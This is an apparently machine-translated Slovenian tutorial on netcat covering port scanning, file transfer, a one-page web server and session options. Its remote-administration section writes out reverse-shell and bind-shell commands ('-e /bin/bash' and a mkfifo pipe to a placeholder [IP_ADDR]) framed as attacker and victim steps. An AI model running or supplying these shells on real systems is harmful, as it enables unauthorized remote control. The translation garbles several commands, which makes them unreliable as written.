Kratka razlika med netcat-traditional in netcat-openbsd
Za Netcat sta na voljo dva podobna paketa z majhno razliko med njima.
netcat-tradicionalni vključuje dodatno možnost '-e', ki jo lahko uporabite za vezavo programa (tj.e bash) z netcat. Ta funkcija je zelo uporabna za oddaljeno upravljanje.
netcat-openbsd nekaj dodatne podpore za IPv6 in proxyje.
Namestitev Netcat
Čeprav je netcat vnaprej nameščen v večini distribucij Linuxa, če pa ne, ga je mogoče enostavno namestiti z naslednjimi ukazi.
Za tradicionalni paket,
[zaščiteno po e-pošti]: ~ $ sudo apt-get install netcat-traditionalZa različico openbsd,
[zaščitena po e-pošti]: ~ $ sudo apt-get install netcat-openbsdNetcat za Windows lahko prenesete od tukaj https: // sourceforge.net / projects / nc110 / files /.
Zdaj bomo raziskali nekaj zanimivih primerov uporabe netcat
Optično branje vrat z netcatom
Če želite iskati odprta vrata, uporabite možnost '-z'. Netcat se bo poskušal povezati z vsemi vrati, ne da bi poslal podatke ali zelo omejene podatke v primeru UDP. Vnesite naslednje
[e-pošta zaščitena]: ~ $ nc -z -v hackme.org 80... odreži ..
hackme.org [217.78.1.155] 80 (http) odprto
Če želite iskati vrsto vrat, vnesite
[e-pošta zaščitena]: ~ $ nc -z -nv 192.168.100.72 20-80(NEPOZNATO) [192.168.100.72] 80 (http) odprto
(NEPOZNATO) [192.168.100.72] 22 (ssh) odprto
Prenos datotek z netcatom
Drug uporaben primer uporabe netcat je prenos datotek med oddaljenimi računalniki. Besedila in binarne datoteke lahko pošiljate iz enega računalnika v drugega. Poskusili bomo poslati datoteko »datoteka.pdf ”z osebnega računalnika Linux na osebni računalnik Windows [IP 192.168.100.72] z uporabo netcat kot primer.
V računalniku Windows (sprejemnik) vnesite naslednje
C: \ Uporabniki> nc -nvlp 1337> datoteka.pdfPoslušanje na [0.0.0.0] (družina 2, pristanišče 1337)
V računalnik Linux (pošiljatelj) vnesite naslednje
[zaščiteno po e-pošti]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfPovezava na 192.168.100.72 Vrata [tcp / *] 1337 so uspela!
Oddaljeno upravljanje z netcatom
Eden izmed najboljših primerov uporabe netcat je oddaljeno upravljanje, kar pomeni, da lahko z netcatom upravljate računalnik nekoga drugega. Netcat-traditional prihaja z možnostjo '-e', ki jo lahko uporabite za vezavo programa (tj.e cmd.exe v operacijskem sistemu Windows ali bash v Linuxu) z vrati, kar pomeni, da bo netcat deloval kot komunikator med programom in oddaljenim računalnikom. Netcat bo prejemal ukaze iz oddaljenega računalnika, izvršil se bo v lokalnem sistemu in rezultate poslal nazaj v oddaljeni računalnik. Ta funkcija se pogosto uporablja za zlonamerne namene, da bi ohranila varnostno kopijo računalnikov in strežnikov. Ta funkcija je na voljo le v tradicionalni različici netcat, vendar z malo trika lahko za isti namen uporabimo tudi netcat-openbsd. Na dva načina lahko upravljate osebni računalnik.
V Povratna lupina povezave, napadalec posluša v pristanišču in čaka, da se povezava pošlje iz računalnika žrtve. Uporablja se, ko je računalnik žrtve za NAT ali nima javnega IP-ja.
Če želite dobiti povratno lupino z uporabo netcat, morate poslušati na vratih z uporabo netcat. Na napadalni stroj vnesite naslednje,
[e-pošta zaščitena]: ~ $ nc -nvlp 1337Poslušanje na [0.0.0.0] (družina 2, pristanišče 1337)
Na žrtev stroju (če netcat-tradicionalni je nameščen)
// "/ bin / bash" nadomestimo s "cmd.exe «v primeru sistema Windows
[e-pošta zaščitena]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashZa netcat-openbsd (kjer možnost “-e” ni podprta)
[e-pošta zaščitena]: ~ $ rm / tmp / f; mkfifo / tmp / f; kat/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Medtem ko v Vezati lupino povezave, napadalec na vrata žrtve poveže vrata in se na ta vrata poveže z vtičnico odjemalca. Uporablja se, če je napadalčeva naprava za NAT ali nima javnega IP-ja.
Na računalniku z žrtev vnesite
[e-pošta zaščitena]: ~ $ nc -nlvp 1337 -e / bin / bashposlušanje [katerega koli] 1337…
Zdaj za zagon ukazov na računalniku z žrtev vnesite
[e-pošta zaščitena]: ~ $ nc -nv 127.0.0.1 1337Povezava do 127.0.0.1 vrata 1337 [tcp / *] so uspela!
$ id
uid = 1000 (azad) gid = 1000 (azad) skupine = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Preprost spletni strežnik z uporabo netcat
Lahko pa naredite še en preprost trik, če želite netcat uporabiti kot minimalni spletni strežnik z eno stranjo. Ta spletni strežnik bi bil zelo preprost brez posebnih konfiguracij in z njim bomo brskalniku pošiljali našo kodo HTML.
[e-pošta zaščitena]: ~ $ while true; do echo -e "HTTP / 1.1 200 OK \ n \ n $ (odmev "
Moj preprost spletni strežnik, ki uporablja netcat
")" | nc-nvlp 1337; KončanoPoslušanje na [0.0.0.0] (družina 2, pristanišče 1337)
Zdaj poskusite spletno stran pridobiti s pomočjo curl
[zaščiteno po e-pošti]: ~ $ curl http: // 127.0.0.1: 1337 /Moj preprost spletni strežnik, ki uporablja netcat
Določite časovno omejitev za netcat sejo
Časovno omejitev za sejo netcat lahko določite z možnostjo “-w”. Netcat bo samodejno prekinil svojo sejo po izteku določenega časa.
// -w [čas v sekundah][e-pošta zaščitena]: ~ $ nc -w 40 -nvlp 1337
Poslušanje na [0.0.0.0] (družina 2, vrata 1234)
Poslušajte še naprej, tudi če odjemalec prekine povezavo
V običajnem načinu se strežnik netcat izklopi in preneha poslušati vrata, ko odjemalec prekine povezavo. Strežnik lahko obdržite z uporabo možnosti -k
[e-pošta zaščitena]: ~ $ nc -k -nlvp 1234Poslušanje na [0.0.0.0] (družina 2, vrata 1234)
Zaključek
Netcat je preprost, a učinkovit pripomoček, ki ga lahko uporabite za veliko preprostih dnevnih opravil. Na voljo je vnaprej nameščen v skoraj vseh operacijskih sistemih UNIX, na primer za komunikacijo med dvema osebnima računalnikoma, prenos datotek in še veliko več.